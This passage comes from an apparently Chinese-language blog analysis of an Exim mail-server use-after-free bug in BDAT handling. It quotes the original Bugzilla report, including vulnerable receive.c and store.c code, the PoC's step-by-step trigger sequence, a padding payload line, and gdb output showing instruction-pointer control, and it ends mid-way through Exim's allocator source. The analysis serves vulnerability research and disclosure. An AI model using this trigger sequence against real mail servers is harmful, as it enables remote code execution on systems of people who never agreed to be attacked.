class="L7"><code><span class="pun">------------------------------------------</span></code></li><li class="L8"><code><span class="typ">Invalid</span><span class="pln"> address </span><span class="lit">0xdeadbeef</span></code></li></ol>PS: 这里说明下
./build-Linux-x86_64/exim
这个binary是没有patch printf的代码,/usr/exim/bin/exim
是patch了printf的binary到这里就很奇怪了,加了个printf就能成功触发漏洞,删了就不能,之后用
puts
和write
代替了printf
进行测试,发现puts
也能成功触发漏洞,但是write
不能。大概能猜到应该是stdio的缓冲区机制的问题,然后继续深入研究。深入研究
来看看meh在Bugzilla上对于该漏洞的所有描述:
1<ol class="linenums"><li class="L0"><code><span class="typ">Hi</span><span class="pun">,</span><span class="pln"> we found a </span><span class="kwd">use</span><span class="pun">-</span><span class="pln">after</span><span class="pun">-</span><span class="pln">free vulnerability which </span><span class="kwd">is</span><span class="pln"> exploitable to RCE </span><span class="kwd">in</span><span class="pln"> the SMTP server</span><span class="pun">.</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="typ">According</span><span class="pln"> to receive</span><span class="pun">.</span><span class="pln">c</span><span class="pun">:</span><span class="lit">1783</span><span class="pun">,</span><span class="pln"> </span></code></li><li class="L3"><code><span class="lit">1783</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">store_extend</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> header_size</span><span class="pun">))</span></code></li><li class="L4"><code><span class="lit">1784</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code><span class="lit">1785</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">newtext </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li><li class="L6"><code><span class="lit">1786</span><span class="pln"> memcpy</span><span class="pun">(</span><span class="pln">newtext</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">);</span></code></li><li class="L7"><code><span class="lit">1787</span><span class="pln"> store_release</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">);</span></code></li><li class="L8"><code><span class="lit">1788</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> newtext</span><span class="pun">;</span></code></li><li class="L9"><code><span class="lit">1789</span><span class="pln"> </span><span class="pun">}</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="kwd">when</span><span class="pln"> the buffer used to parse header </span><span class="kwd">is</span><span class="pln"> </span><span class="kwd">not</span><span class="pln"> big enough</span><span class="pun">,</span><span class="pln"> exim tries to extend the </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="kwd">with</span><span class="pln"> store_extend </span><span class="kwd">function</span><span class="pun">.</span><span class="pln"> </span><span class="typ">If</span><span class="pln"> there </span><span class="kwd">is</span><span class="pln"> any other allocation between the allocation </span><span class="kwd">and</span><span class="pln"> extension of </span><span class="kwd">this</span><span class="pln"> buffer</span><span class="pun">,</span><span class="pln"> store_extend fails</span><span class="pun">.</span></code></li><li class="L2"><code><span class="pln">store</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L3"><code><span class="lit">276</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">ptr </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">!=</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span></code></li><li class="L4"><code><span class="lit">277</span><span class="pln"> inc yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">)</span></code></li><li class="L5"><code><span class="lit">278</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="typ">Then</span><span class="pln"> exim calls store_get</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">and</span><span class="pln"> store_get cut the current_block directly</span><span class="pun">.</span></code></li><li class="L8"><code><span class="pln">store</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L9"><code><span class="lit">208</span><span class="pln"> next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)((</span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*)</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L0"><code><span class="lit">209</span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">-=</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L1"><code><span class="lit">210</span></code></li><li class="L2"><code><span class="lit">211</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="typ">However</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">in</span><span class="pln"> receive</span><span class="pun">.</span><span class="pln">c</span><span class="pun">:</span><span class="lit">1787</span><span class="pun">,</span><span class="pln"> store_release frees the whole block</span><span class="pun">,</span><span class="pln"> leaving the </span><span class="kwd">new</span><span class="pln"> pointer points to a freed location</span><span class="pun">.</span><span class="pln"> </span><span class="typ">Any</span><span class="pln"> further usage of </span><span class="kwd">this</span><span class="pln"> buffer leads to a </span><span class="kwd">use</span><span class="pun">-</span><span class="pln">after</span><span class="pun">-</span><span class="pln">free vulnerability</span><span class="pun">.</span></code></li><li class="L5"><code><span class="typ">To</span><span class="pln"> trigger </span><span class="kwd">this</span><span class="pln"> bug</span><span class="pun">,</span><span class="pln"> BDAT command </span><span class="kwd">is</span><span class="pln"> necessary to perform an allocation </span><span class="kwd">by</span><span class="pln"> raising an error</span><span class="pun">.</span><span class="pln"> </span><span class="typ">Through</span><span class="pln"> </span><span class="kwd">our</span><span class="pln"> research</span><span class="pun">,</span><span class="pln"> we confirm that </span><span class="kwd">this</span><span class="pln"> vulnerability can be exploited to remote code execution </span><span class="kwd">if</span><span class="pln"> the binary </span><span class="kwd">is</span><span class="pln"> </span><span class="kwd">not</span><span class="pln"> compiled </span><span class="kwd">with</span><span class="pln"> PIE</span><span class="pun">.</span></code></li><li class="L6"><code><span class="typ">An</span><span class="pln"> RIP controlling </span><span class="typ">PoC</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> </span><span class="kwd">in</span><span class="pln"> attachment poc</span><span class="pun">.</span><span class="pln">py</span><span class="pun">.</span><span class="pln"> </span><span class="typ">The</span><span class="pln"> following </span><span class="kwd">is</span><span class="pln"> the gdb result of </span><span class="kwd">this</span><span class="pln"> </span><span class="typ">PoC</span><span class="pun">:</span></code></li><li class="L7"><code><span class="typ">Program</span><span class="pln"> received signal SIGSEGV</span><span class="pun">,</span><span class="pln"> </span><span class="typ">Segmentation</span><span class="pln"> fault</span><span class="pun">.</span></code></li><li class="L8"><code><span class="lit">0x00000000deadbeef</span><span class="pln"> </span><span class="kwd">in</span><span class="pln"> </span><span class="pun">??</span><span class="pln"> </span><span class="pun">()</span></code></li><li class="L9"><code><span class="pun">(</span><span class="pln">gdb</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">-------------------------------------------------------------</span></code></li><li class="L1"><code><span class="typ">In</span><span class="pln"> receive</span><span class="pun">.</span><span class="pln">c</span><span class="pun">,</span><span class="pln"> exim used receive_getc to </span><span class="kwd">get</span><span class="pln"> message</span><span class="pun">.</span></code></li><li class="L2"><code><span class="lit">1831</span><span class="pln"> ch </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">receive_getc</span><span class="pun">)(</span><span class="pln">GETC_BUFFER_UNLIMITED</span><span class="pun">);</span></code></li><li class="L3"><code><span class="typ">When</span><span class="pln"> exim </span><span class="kwd">is</span><span class="pln"> handling BDAT command</span><span class="pun">,</span><span class="pln"> receive_getc </span><span class="kwd">is</span><span class="pln"> bdat_getc</span><span class="pun">.</span></code></li><li class="L4"><code><span class="typ">In</span><span class="pln"> bdat_getc</span><span class="pun">,</span><span class="pln"> after the length of BDAT </span><span class="kwd">is</span><span class="pln"> reached</span><span class="pun">,</span><span class="pln"> bdat_getc tries to read the </span><span class="kwd">next</span><span class="pln"> command</span><span class="pun">.</span></code></li><li class="L5"><code><span class="pln">smtp_in</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">536</span><span class="pln"> next_cmd</span><span class="pun">:</span></code></li><li class="L7"><code><span class="pln"> </span><span class="lit">537</span><span class="pln"> </span><span class="kwd">switch</span><span class="pun">(</span><span class="pln">smtp_read_command</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pun">))</span></code></li><li class="L8"><code><span class="pln"> </span><span class="lit">538</span><span class="pln"> </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> </span><span class="lit">539</span><span class="pln"> </span><span class="kwd">default</span><span class="pun">:</span></code></li><li class="L0"><code><span class="pln"> </span><span class="lit">540</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">503</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L1"><code><span class="pln"> </span><span class="lit">541</span><span class="pln"> US</span><span class="str">"only BDAT permissible after non-LAST BDAT"</span><span class="pun">);</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln">synprot_error may call store_get </span><span class="kwd">if</span><span class="pln"> any non</span><span class="pun">-</span><span class="pln">printable character exists because synprot_error uses string_printing</span><span class="pun">.</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">string</span><span class="pun">.</span><span class="pln">c</span></code></li><li class="L6"><code><span class="pln"> </span><span class="lit">304</span><span class="pln"> </span><span class="com">/* Get a new block of store guaranteed big enough to hold the</span></code></li><li class="L7"><code><span class="com"> 305 expanded string. */</span></code></li><li class="L8"><code><span class="pln"> </span><span class="lit">306</span></code></li><li class="L9"><code><span class="pln"> </span><span class="lit">307</span><span class="pln"> ss </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">length </span><span class="pun">+</span><span class="pln"> nonprintcount </span><span class="pun">*</span><span class="pln"> </span><span class="lit">3</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">1</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> </span><span class="pun">------------------------------------------------------------------</span></code></li><li class="L1"><code><span class="pln">receive_getc becomes bdat_getc </span><span class="kwd">when</span><span class="pln"> handling BDAT data</span><span class="pun">.</span></code></li><li class="L2"><code><span class="typ">Oh</span><span class="pun">,</span><span class="pln"> I was talking about the source code of </span><span class="lit">4.89</span><span class="pun">.</span><span class="pln"> </span><span class="typ">In</span><span class="pln"> the current master</span><span class="pun">,</span><span class="pln"> it </span><span class="kwd">is</span><span class="pln"> here</span><span class="pun">:</span></code></li><li class="L3"><code><span class="pln">https</span><span class="pun">:</span><span class="com">//github.com/Exim/exim/blob/master/src/src/receive.c#L1790</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="typ">What</span><span class="pln"> </span><span class="kwd">this</span><span class="pln"> </span><span class="typ">PoC</span><span class="pln"> does </span><span class="kwd">is</span><span class="pun">:</span></code></li><li class="L6"><code><span class="lit">1.</span><span class="pln"> send unrecognized command to adjust yield_length </span><span class="kwd">and</span><span class="pln"> make it less than </span><span class="lit">0x100</span></code></li><li class="L7"><code><span class="lit">2.</span><span class="pln"> send BDAT </span><span class="lit">1</span></code></li><li class="L8"><code><span class="lit">3.</span><span class="pln"> send one character to reach the length of BDAT</span></code></li><li class="L9"><code><span class="lit">3.</span><span class="pln"> send an BDAT command without size </span><span class="kwd">and</span><span class="pln"> </span><span class="kwd">with</span><span class="pln"> non</span><span class="pun">-</span><span class="pln">printable character </span><span class="pun">-</span><span class="pln">trigger synprot_error </span><span class="kwd">and</span><span class="pln"> therefore call store_get</span></code></li><li class="L0"><code><span class="com">// back to receive_msg and exim keeps trying to read header</span></code></li><li class="L1"><code><span class="lit">4.</span><span class="pln"> send a huge message </span><span class="kwd">until</span><span class="pln"> store_extend called</span></code></li><li class="L2"><code><span class="lit">5.</span><span class="pln"> uaf</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="typ">This</span><span class="pln"> </span><span class="typ">PoC</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> affected </span><span class="kwd">by</span><span class="pln"> the block layout</span><span class="pun">(</span><span class="pln">yield_length</span><span class="pun">),</span><span class="pln"> so </span><span class="kwd">this</span><span class="pln"> line</span><span class="pun">:</span><span class="pln"> </span><span class="str">`r.sendline('a'*0x1250+'\x7f')`</span><span class="pln"> should be adjusted according to the program state</span><span class="pun">.</span><span class="pln"> I tested on </span><span class="kwd">my</span><span class="pln"> ubuntu </span><span class="lit">16.04</span><span class="pun">,</span><span class="pln"> compiled </span><span class="kwd">with</span><span class="pln"> the attached </span><span class="typ">Local</span><span class="pun">/</span><span class="typ">Makefile</span><span class="pln"> </span><span class="pun">(</span><span class="pln">simply make </span><span class="pun">-</span><span class="pln">j8</span><span class="pun">).</span><span class="pln"> I also attach the updated </span><span class="typ">PoC</span><span class="pln"> </span><span class="kwd">for</span><span class="pln"> current master </span><span class="kwd">and</span><span class="pln"> the debug report</span><span class="pun">.</span></code></li></ol>在这里先提一下,在Exim中,自己封装实现了一套简单的堆管理,在src/store.c中
1<ol class="linenums"><li class="L0"><code><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span></code></li><li class="L1"><code><span class="pln">store_get_3</span><span class="pun">(</span><span class="kwd">int</span><span class="pln"> size</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="com">/* Round up the size to a multiple of the alignment. Although this looks a</span></code></li><li class="L4"><code><span class="com">messy statement, because "alignment" is a constant expression, the compiler can</span></code></li><li class="L5"><code><span class="com">do a reasonable job of optimizing, especially if the value of "alignment" is a</span></code></li><li class="L6"><code><span class="com">power of two. I checked this with -O2, and gcc did very well, compiling it to 4</span></code></li><li class="L7"><code><span class="com">instructions on a Sparc (alignment = 8). */</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">%</span><span class="pln"> alignment </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> size </span><span class="pun">+=</span><span class="pln"> alignment </span><span class="pun">-</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">%</span><span class="pln"> alignment</span><span class="pun">);</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="com">/* If there isn't room in the current block, get a new one. The minimum</span></code></li><li class="L2"><code><span class="com">size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since</span></code></li><li class="L3"><code><span class="com">these functions are mostly called for small amounts of store. */</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun"><=</span><span class="pln"> STORE_BLOCK_SIZE</span><span class="pun">)?</span><span class="pln"> STORE_BLOCK_SIZE </span><span class="pun">:</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> mlength </span><span class="pun">=</span><span class="pln"> length </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> storeblock </span><span class="pun">*</span><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln"> </span><span class="com">/* Sometimes store_reset() may leave a block for us; check if we can use it */</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">&&</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun"><</span><span class="pln"> length</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln"> </span><span class="com">/* Give up on this block, because it's too small */</span></code></li><li class="L9"><code><span class="pln"> store_free</span><span class="pun">(</span><span class="pln">newblock</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="pln"> </span><span class="com">/* If there was no free block, get a new one */</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">newblock</span><span class="pun">)</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln"> pool_malloc </span><span class="pun">+=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* Used in pools */</span></code></li><li class="L8"><code><span class="pln"> nonpool_malloc </span><span class="pun">-=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln"> </span><span class="com">/* Exclude from overall total */</span></code></li><li class="L9"><code><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> store_malloc</span><span class="pun">(</span><span class="pln">mlength</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln"> newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun">=</span><span class="pln"> length</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L3"><code><span class="pln"> chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L5"><code><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln"> next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span></code></li><li class="L1"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">CS current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_NOACCESS</span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]);</span></code></li><li class="L3"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="com">/* There's (now) enough room in the current block; the yield is the next</span></code></li><li class="L6"><code><span class="com">pointer. */</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="pln">store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="com">/* Cut out the debugging stuff for utilities, but stop picky compilers from</span></code></li><li class="L1"><code><span class="com">giving warnings. */</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="com">#ifdef</span><span class="pln"> COMPILE_UTILITY</span></code></li><li class="L4"><code><span class="pln">filename </span><span class="pun">=</span><span class="pln"> filename</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln">linenumber </span><span class="pun">=</span><span class="pln"> linenumber</span><span class="pun">;</span></code></li><li class="L6"><code><span class="com">#else</span></code></li><li class="L7"><code><span class="pln">DEBUG</span><span class="pun">(</span><span class="pln">D_memory</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"---%d Get %5d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L2"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"---%d Get %6p %5d %-14s %4d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln"> store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> size</span><span class="pun">,</span><span class="pln"> filename</span><span class="pun">,</span><span class="pln"> linenumber</span><span class="pun">);</span></code></li><li class="L4"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L5"><code><span class="com">#endif</span><span class="pln"> </span><span class="com">/* COMPILE_UTILITY */</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> VALGRIND_MAKE_MEM_UNDEFINED</span><span class="pun">(</span><span class="pln">store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">],</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L8"><code><span class="com">/* Update next pointer and number of bytes left in the current block. */</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">CS next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> size</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln">yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">-=</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L2"><code></code></li><li class="L3"><code><span class="kwd">return</span><span class="pln"> store_last_get</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span></code></li><li class="L4"><code><span class="pun">}</span></code></li><li class="L5"><code></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="pln">BOOL</span></code></li><li class="L8"><code><span class="pln">store_extend_3</span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*</span><span class="pln">ptr</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> newsize</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">const</span><span class="pln"> </span><span class="kwd">char</span><span class="pln"> </span><span class="pun">*</span><span class="pln">filename</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">int</span><span class="pln"> linenumber</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pun">{</span></code></li><li class="L1"><code><span class="kwd">int</span><span class="pln"> inc </span><span class="pun">=</span><span class="pln"> newsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">;</span></code></li><li class="L2"><code><span class="kwd">int</span><span class="pln"> rounded_oldsize </span><span class="pun">=</span><span class="pln"> oldsize</span><span class="pun">;</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">rounded_oldsize </span><span class="pun">%</span><span class="pln"> alignment </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L5"><code><span class="pln"> rounded_oldsize </span><span class="pun">+=</span><span class="pln"> alignment </span><span class="pun">-</span><span class="pln"> </span><span class="pun">(</span><span class="pln">rounded_oldsize </span><span class="pun">%</span><span class="pln"> alignment</span><span class="pun">);</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">CS ptr </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">!=</span><span class="pln"> CS </span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span></code></li><li class="L8"><code><span class="pln"> inc </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln"> </span><span class="kwd">return</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="com">/* Cut out the debugging stuff for utilities, but stop picky compilers from</span></code></li><li class="L2"><code><span class="com">giving warnings. */</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="com">#ifdef</span><span class="pln"> COMPILE_UTILITY</span></code></li><li class="L5"><code><span class="pln">filename </span><span class="pun">=</span><span class="pln"> filename</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln">linenumber </span><span class="pun">=</span><span class="pln"> linenumber</span><span class="pun">;</span></code></li><li class="L7"><code><span class="com">#else</span></code></li><li class="L8"><code><span class="pln">DEBUG</span><span class="pun">(</span><span class="pln">D_memory</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">running_in_test_harness</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"---%d Ext %5d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span><span class="pln"> newsize</span><span class="pun">);</span></code></li><li class="L2"><code><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L3"><code><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"---%d Ext %6p %5d %-14s %4d\n"</span><span class="pun">,</span><span class="pln"> store_pool</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">,</span><span class="pln"> newsize</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln"> filename</span><span class="pun">,</span><span class="pln"> linenumber</span><span class="pun">);</span></code></li><li class="L5"><code><span class="pln"> </span><span class="pun">}</span></code></li><li class="L6"><code><span 